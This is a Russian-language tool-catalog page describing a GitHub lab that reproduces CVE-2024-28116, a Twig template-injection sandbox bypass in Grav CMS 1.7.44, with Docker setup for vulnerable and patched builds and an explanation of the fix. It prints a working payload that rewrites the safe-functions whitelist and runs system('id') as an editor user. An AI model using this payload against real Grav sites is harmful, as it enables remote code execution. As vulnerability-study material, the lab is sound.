Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
grav-cve-2024-28116 — Анализ и воспроизведение в Docker CVE-2024-28116 — SSTI с обходом песочницы в Grav CMS | Kitploit
Инструменты/GitHubGitHub/bebarossi/grav-cve-2024-28116
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

Анализ и воспроизведение в Docker CVE-2024-28116 — SSTI с обходом песочницы в Grav CMS

Репозиторий
822 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-28116 — SSTI с обходом песочницы в Grav CMS

Анализ и Docker-воспроизведение CVE-2024-28116 — серверная инъекция шаблонов с обходом песочницы безопасности в Grav CMS версиях до 1.7.44 включительно, исправленной в версии 1.7.45.

Сообщил: Maurizio Siddu (akabe1)
Оценка CVSS v3.1: 8.8 (Высокая)
Исправлено в: Grav CMS 1.7.45


Структура репозитория

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (уязвимая)
    • apache.conf # Конфигурация Apache
  • patched
    • Dockerfile # Grav CMS 1.7.45 (исправленная)
    • apache.conf # Конфигурация Apache
  • CVE-2024-28116_Report.pdf

Требования

  • Docker Desktop установлен и запущен на macOS
  • Других зависимостей не требуется — всё устанавливается внутри контейнера

Как запустить уязвимое окружение (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Откройте браузер по адресу http://localhost:8080/admin и при первом входе создайте учётную запись администратора.


Как воспроизвести эксплойт

  1. В панели администратора создайте вторую учётную запись только с правами редактора (Login to Site, Login to Admin и Pages установите в Allowed — всё остальное Not set)
  2. Откройте окно браузера в режиме инкогнито и войдите как редактор по адресу http://localhost:8080/admin
  3. Перейдите в раздел Pages → Add Page, задайте заголовок test page, нажмите Continue
  4. На вкладке Advanced включите обработку Twig, отметив Markdown и Twig в разделе Process
  5. На вкладке Content вставьте следующий пэйлоад:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Нажмите Save
  2. Откройте обычную вкладку браузера и перейдите по адресу http://localhost:8080/test-page
  3. Сервер выведет полный объект конфигурации Grav, а в самом низу покажет: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Это подтверждает удалённое выполнение кода от имени пользователя веб-сервера.


Как запустить исправленное окружение (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Откройте браузер по адресу http://localhost:8081/admin и повторите все шаги эксплуатации, указанные выше, используя http://localhost:8081/test-page.

Страница будет полностью пустой. Метод cleanDangerousTwig() в Security.php обнаруживает и блокирует директиву twig.safe_functions до того, как она достигнет движка Twig. Белый список никогда не изменяется, и команда не выполняется.


Как работает уязвимость

Уязвимость расположена в system/src/Grav/Common/Twig.php. Grav реализует песочницу, предотвращающую вызов опасных PHP-функций внутри Twig-шаблонов, на основе чёрного списка, проверяемого isDangerousFunction(). Однако песочница не защищает сам объект Twig. Пользователь с правами редактора может взаимодействовать с объектом Twig через специально сформированные директивы шаблона и перезаписать белый список system.twig.safe_functions во время выполнения. Как только опасная функция, такая как system(), добавляется в белый список, проверка песочницы обходится, и функция выполняется без ограничений.


Исправление

Патч добавляет 'twig.safe_functions' в список блокируемых шаблонов внутри метода cleanDangerousTwig() в system/src/Grav/Common/Security.php. Любая директива, содержащая эту строку, нейтрализуется до того, как достигнет движка Twig, что делает невозможным изменение белого списка из шаблона пользователем с правами редактора.

Скачать инструмент